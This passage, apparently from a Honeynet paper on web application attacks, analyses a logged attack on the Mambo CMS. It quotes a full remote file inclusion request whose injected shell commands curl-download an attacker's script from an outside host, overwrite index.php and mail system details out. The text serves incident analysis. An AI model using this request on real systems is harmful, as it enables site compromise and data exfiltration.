Log File Analysis

According to www.honeynet.org/papers/webapp/:

GET/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1\&GLOBALS=&mosConfig_absolute_path=http://192.168.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20\http://192.168.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20\[e-mail];uname%20-a%20|%20mail%20-s%20uname_i2_192.168.181.27%20\ [e-mail];echo|

This has the effect of executing the script of the attackers' choosing, here http://192.168.57.112/~photo/cm. The exact operation of the exploit against the vulnerability can be seen in "Mambo Exploit" in Appendix A. In this case, the included file is a "helper" script, which attempts to execute the operating system command given by the cmd= parameter. Here the commands given would cause the helper script to be written over the index.php file, and the details of the operating system and...